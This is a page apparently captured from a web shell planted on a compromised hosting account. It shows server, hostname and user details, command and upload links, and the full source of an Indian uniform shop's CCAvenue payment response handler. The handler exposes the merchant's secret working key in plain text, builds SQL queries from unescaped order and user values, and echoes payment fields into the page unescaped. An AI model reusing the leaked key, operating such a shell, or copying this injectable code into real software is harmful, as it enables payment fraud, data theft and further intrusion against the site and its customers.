MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 216.73.216.81
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0777) :  /home/u641149403/domains/uniformindia.co.in/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/uniformindia.co.in/public_html/ccavResponseHandler.php
<?php
session_start(); 
require_once __DIR__ .'/vendor/autoload.php';
include('send_mail.php');
include('Crypto.php');
error_reporting(0);

	$workingKey='59B7875D26C48D092974C8A7563D115B';		//Working Key should be provided here.
	$encResponse=$_POST["encResp"];			//This is the response sent by the CCAvenue Server
	$rcvdString=decrypt($encResponse,$workingKey);		//Crypto Decryption used as per the specified working key.
	$order_status="";
	$decryptValues=explode('&', $rcvdString);
	$dataSize=sizeof($decryptValues);
	echo "<center>";

	for($i = 0; $i < $dataSize; $i++) 
	{
		$information=explode('=',$decryptValues[$i]);
		if($i==3)	$order_status=$information[1];
		if($i==0)	$order_id=$information[1];
		if($i==1)	$tracking_id=$information[1];
		if($i==18)	$email=$information[1];
	}
	if($order_status==="Success")
	{	
		$orders=mysqli_query($con,"SELECT * FROM orders WHERE oid='$order_id'");
		$order=mysqli_fetch_array($orders);
		$last_id = $order['id'];
		$location_id = $order['location_id'];
		$user_id = $order['user_id'];

		$user_locations=mysqli_query($con,"SELECT * FROM user_location WHERE location_id='$location_id'");
		$user_location=mysqli_fetch_array($user_locations);

		$res=mysqli_query($con,"SELECT * FROM users WHERE id='$user_id'");
		$row=mysqli_fetch_array($res);
		$user_name=$row['name'];
		$mobile=$row['mobile'];
		$email=$row['email'];

		$orderitem = mysqli_query($con,"UPDATE orders SET tid='$tracking_id' WHERE oid='$order_id'");
		$res=mysqli_query($con,"SELECT * FROM orders WHERE oid='$order_id'");
		$row=mysqli_fetch_array($res);
		$oid=$row['id'];
		//send to mail

		$message='<html>
		<head>
		<title>Uniform India Order Details</title>
		<style>
		.card{
			border: 1px solid #dee2e6;
		}
		.card-body{
			padding: 20px;
		}
		.heading{
			background-color: var(--main-color);
			color: #fff;
			padding: 20px;
			margin: 0;
		}
		h3{
			color: var(--main-color);
		}
		table{
			width: 100%;
			margin-bottom: 1rem;
			color: #212529;
			border-collapse: collapse;
			text-align: left;
		}
		table td, table th {
			padding: 0.75rem;
			vertical-align: top;
			border: 1px solid #dee2e6;
		}
		.address th{
			border: none;
			color: var(--main-color);
			padding-left: 0;
		}
		</style>
		</head>
		<body>
		<div class="card">
		<h1 class="heading">Thank you for your order</h1>
		<div class="card-body">
		<p>Hi '.$user_name.',</p>
		<p>Just to let you know - we have recelved your order #'.$last_id.', and It Is now belng
		processed:</p>
		<p>Additional Shipping charges of Rs. '.number_format($delivery_charge,2).' is applicable on this order.</p>
		<h3>[Order #'.$last_id.'] '.date('F d, Y').'</h3>
		<table>
		<thead>
		<tr>
		<th>Product</th>
		<th>Quantity</th>
		<th>price</th>
		</tr>
		</thead>
		<tbody>';
		$query=$con->query("SELECT * FROM order_items Where order_id='$last_id'");
		$sub_total=0;
		while($product=mysqli_fetch_array($query)){
			
			$pr_vr_id=$product['product_variant_id'];
			$join="SELECT *,products.id as product_id FROM products INNER JOIN product_variant ON products.id = product_variant.product_id WHERE product_variant.id='$pr_vr_id'";
			$res_join=mysqli_query($con,$join);
			$row_join=mysqli_fetch_array($res_join);
			$sub_total+=$row_join['discounted_price']*$product['quantity'];
			$message .= '<tr>
			<td>'.$row_join['name'].'</td>
			<td>'.$product['quantity'].'</td>
			<td>₹'.number_format($row_join['discounted_price'],2).'</td>
			</tr>';
		}
		$message .= '</tbody>
		<tfoot>
		<tr>
		<th colspan="2">Subtotal:</th>
		<td>₹'.number_format($sub_total,2).'</td>
		</tr>
		<tr>
		<th colspan="2">Shipping:</th>
		<td>₹'.number_format($delivery_charge,2).' via Shipping Charges</td>
		</tr>
		<tr>
		<th colspan="2">Payment Method:</th>
		<td>Cash on delivery</td>
		</tr>
		<tr>
		<th colspan="2">Total:</th>
		<td>₹'.number_format($amount,2).'</td>
		</tr>
		</tfoot>

		</table>
		<table class="address">
		<tr>
		<th>Billing Address</th>
		<th>Shipping Address</th>
		</tr>
		<tr>
		<td><address>'.$user_name.'<br> '.$user_location['address'].' '.$user_location['city'].'-'.$user_location['pincode'].'<br> '.$user_location['state'].'</address></td>
		<td><address>'.$user_name.'<br> '.$user_location['address'].' '.$user_location['city'].'-'.$user_location['pincode'].'<br> '.$user_location['state'].'</address></td>
		</tr>
		</table>
		</div>
		</div>
		</body>
		</html>';
		$to=$email;
		$subject = "Your Uniform India Order has been received";
		$mail = send_email($to,$subject,$message);

		header('Location:response.php');
	}
	else if($order_status==="Aborted")
	{	
		$del = mysqli_query($con,"DELETE FROM orders WHERE oid='$order_id'");
		$orderitem = mysqli_query($con,"UPDATE order_items SET odr_id='0',order_id='0',active_status='' WHERE odr_id='$order_id'");

		echo "<br>Thank you for shopping with us.We will keep you posted regarding the status of your order through e-mail";

	}
	else if($order_status==="Failure")
	{
		$del = mysqli_query($con,"DELETE FROM orders WHERE oid='$order_id'");
		$orderitem = mysqli_query($con,"UPDATE order_items SET odr_id='0',order_id='0',active_status='' WHERE odr_id='$order_id'");
		echo "<br>Thank you for shopping with us.However,the transaction has been declined.";
	}
	else
	{
		echo "<br>Security Error. Illegal access detected";

	}

	echo "<br><br>";

	echo "<table cellspacing=4 cellpadding=4>";
	for($i = 0; $i < $dataSize; $i++) 
	{
		$information=explode('=',$decryptValues[$i]);
		echo '<tr><td>'.$information[0].'</td><td>'.$information[1].'</td></tr>';
	}

	echo "</table><br>";
	echo "</center>";
	?>

MMCT - 2023